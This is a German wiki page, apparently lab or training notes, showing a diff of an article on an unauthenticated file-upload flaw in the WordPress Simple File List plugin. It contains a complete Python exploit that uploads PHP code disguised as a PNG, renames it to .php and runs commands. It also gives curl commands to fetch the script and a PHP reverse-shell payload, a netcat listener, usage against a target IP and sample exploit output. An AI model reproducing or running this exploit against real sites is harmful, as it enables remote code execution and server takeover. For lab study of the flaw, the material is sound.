Unauthenticated Arbitrary File Upload: Unterschied zwischen den Versionen

Aus Xinux Wiki
Zur Navigation springen Zur Suche springen
 
(41 dazwischenliegende Versionen von 3 Benutzern werden nicht angezeigt)
Zeile 1: Zeile 1:
 
=Arbitrary file upload in Simple File List plugin for WordPress=
 
=Arbitrary file upload in Simple File List plugin for WordPress=
==Schachstelle==
+
==Schwachstelle==
Die Schwachstelle besteht aufgrund einer unzureichenden Validierung von Dateien während des Datei-Uploads. Ein entfernter Angreifer kann eine Datei hochladen, die PHP-Code enthält, aber eine png-Bilddateierweiterung hat, dann eine zweite Anfrage senden, um die png-Datei in eine PHP-Datei zu verschieben.
+
*Die Schwachstelle besteht aufgrund einer unzureichenden Validierung von Dateien während des Datei-Uploads.
 +
*Ein entfernter Angreifer kann eine Datei hochladen, die PHP-Code enthält, aber eine png-Bilddateierweiterung hat.
 +
*Dannach wird eine zweite Anfrage gesendet, um die png-Datei in eine PHP-Datei zu verschieben.
 +
*Im Anschluss wird die PHP-Datei aufgerufen und ausgeführt.
  
<syntaxhighlight lang="python">
+
==Ablauf==
import requests
+
{{#drawio:arbitrary}}
 +
#Hochladen der Datei mit der png Endung
 +
#Verschieben der Datei in eine Datei mit der Endung php
 +
#Öffnen eines Ports auf dem Angreifer
 +
#Aufruf der Datei mit der Endung php
 +
#Connect zum Angreifer und Erhalt eine Reverse Shell
  
import random
+
==Python3 Script zum Payload Hochladen==
 +
*Das Skript kann unverändert übernommen werden.
 +
*[[python3-scipt-payload|Python3 Script]]
 +
*curl https://xinux.net/images/d/db/Script.py -o script.py
 +
*chmod +x script.py
  
import hashlib
+
==PHP Reverse Shell==
 +
*Die IP und eventuell der Port müssen angepasst werden.
 +
*[[PHP-Reverse-Shell-Script|payload.txt]]
 +
*[[Datei:Payload.txt]]
 +
*curl  https://xinux.net/images/d/d6/Payload.txt -o payload.txt
  
import sys
+
==Angreifer==
 +
*netcat -lp 9999
  
import os
+
==Usage==
 +
*python3 script.py http://10.0.10.104
 +
<pre>
 +
[ ] File 2243.png generated with password: 7faaeb2f6083b6601c4843f47419783a
 +
[ ] File uploaded at http://10.0.10.109/wp-content/uploads/simple-file-list/2243.png
 +
[ ] File moved to http://10.0.10.109/wp-content/uploads/simple-file-list/2243.php
 +
[+] Exploit seem to work.
 +
[*] Confirmning ..
 +
</pre>
  
import urllib3
+
=Aufruf=
 +
*http://10.0.10.109/wp-content/uploads/simple-file-list/2243.php
  
urllib3.disable_warnings()
+
=Link=
 
+
https://wpscan.com/vulnerability/10132
 
 
 
 
dir_path = '/wp-content/uploads/simple-file-list/'
 
 
 
upload_path = '/wp-content/plugins/simple-file-list/ee-upload-engine.php'
 
 
 
move_path = '/wp-content/plugins/simple-file-list/ee-file-engine.php'
 
 
 
 
 
 
 
 
 
 
 
def usage():
 
 
 
    banner = """
 
 
 
NAME: Wordpress v5.4 Simple File List v4.2.2, pre-auth RCE
 
 
 
SYNOPSIS: python wp_simple_file_list_4.2.2.py <URL>
 
 
 
AUTHOR: coiffeur
 
 
 
    """
 
 
 
    print(banner)
 
 
 
 
 
 
 
 
 
 
 
def generate():
 
    filename = f'{random.randint(0, 10000)}.png'
 
 
 
    password = hashlib.md5(bytearray(random.getrandbits(8)
 
 
 
                                    for _ in range(20))).hexdigest()
 
 
 
    with open(f'{filename}', 'wb') as f:
 
 
 
        payload = open("payload.txt","r").read()
 
 
 
        f.write(payload.encode())
 
 
 
    print(f'[ ] File {filename} generated with password: {password}')
 
 
 
    return filename, password
 
 
 
 
 
 
 
 
 
 
 
def upload(url, filename):
 
 
 
    files = {'file': (filename, open(filename, 'rb'), 'image/png')}
 
 
 
    datas = {'eeSFL_ID': 1, 'eeSFL_FileUploadDir': dir_path,
 
 
 
            'eeSFL_Timestamp': 1587258885, 'eeSFL_Token': 'ba288252629a5399759b6fde1e205bc2'}
 
 
 
    r = requests.post(url=f'{url}{upload_path}',
 
 
 
                      data=datas, files=files, verify=False)
 
 
 
    r = requests.get(url=f'{url}{dir_path}{filename}', verify=False)
 
 
 
    if r.status_code == 200:
 
 
 
        print(f'[ ] File uploaded at {url}{dir_path}{filename}')
 
 
 
        os.remove(filename)
 
 
 
    else:
 
 
 
        print(f'[*] Failed to upload {filename}')
 
 
 
        exit(-1)
 
 
 
    return filename
 
 
 
 
 
 
 
 
 
 
 
def move(url, filename):
 
 
 
    new_filename = f'{filename.split(".")[0]}.php'
 
 
 
    headers = {'Referer': f'{url}/wp-admin/admin.php?page=ee-simple-file-list&tab=file_list&eeListID=1',
 
 
 
              'X-Requested-With': 'XMLHttpRequest'}
 
 
 
    datas = {'eeSFL_ID': 1, 'eeFileOld': filename,
 
 
 
            'eeListFolder': '/', 'eeFileAction': f'Rename|{new_filename}'}
 
 
 
    r = requests.post(url=f'{url}{move_path}',
 
 
 
                      data=datas, headers=headers, verify=False)
 
 
 
    if r.status_code == 200:
 
 
 
        print(f'[ ] File moved to {url}{dir_path}{new_filename}')
 
 
 
    else:
 
 
 
        print(f'[*] Failed to move {filename}')
 
 
 
        exit(-1)
 
 
 
    return new_filename
 
 
 
 
 
 
 
 
 
 
 
def main(url):
 
 
 
    file_to_upload, password = generate()
 
 
 
    uploaded_file = upload(url, file_to_upload)
 
 
 
    moved_file = move(url, uploaded_file)
 
 
 
    if moved_file:
 
 
 
        print(f'[+] Exploit seem to work.\n[*] Confirmning ...')
 
 
 
 
 
 
 
    datas = {'password': password, 'cmd': 'phpinfo();'}
 
 
 
    r = requests.post(url=f'{url}{dir_path}{moved_file}',
 
 
 
                      data=datas, verify=False)
 
 
 
    if r.status_code == 200 and r.text.find('php') != -1:
 
 
 
        print('[+] Exploit work !')
 
 
 
        print(f'\tURL: {url}{dir_path}{moved_file}')
 
 
 
        print(f'\tPassword: {password}')
 
 
 
 
 
 
 
 
 
 
 
if __name__ == "__main__":
 
 
 
    if (len(sys.argv) < 2):
 
 
 
        usage()
 
 
 
        exit(-1)
 
 
 
 
 
 
 
    main(sys.argv[1])
 
</syntaxhighlight>
 

Aktuelle Version vom 20. August 2026, 06:19 Uhr

Arbitrary file upload in Simple File List plugin for WordPress

Schwachstelle

  • Die Schwachstelle besteht aufgrund einer unzureichenden Validierung von Dateien während des Datei-Uploads.
  • Ein entfernter Angreifer kann eine Datei hochladen, die PHP-Code enthält, aber eine png-Bilddateierweiterung hat.
  • Dannach wird eine zweite Anfrage gesendet, um die png-Datei in eine PHP-Datei zu verschieben.
  • Im Anschluss wird die PHP-Datei aufgerufen und ausgeführt.

Ablauf

  1. Hochladen der Datei mit der png Endung
  2. Verschieben der Datei in eine Datei mit der Endung php
  3. Öffnen eines Ports auf dem Angreifer
  4. Aufruf der Datei mit der Endung php
  5. Connect zum Angreifer und Erhalt eine Reverse Shell

Python3 Script zum Payload Hochladen

PHP Reverse Shell

Angreifer

  • netcat -lp 9999

Usage

[ ] File 2243.png generated with password: 7faaeb2f6083b6601c4843f47419783a
[ ] File uploaded at http://10.0.10.109/wp-content/uploads/simple-file-list/2243.png
[ ] File moved to http://10.0.10.109/wp-content/uploads/simple-file-list/2243.php
[+] Exploit seem to work.
[*] Confirmning ..

Aufruf

Link

https://wpscan.com/vulnerability/10132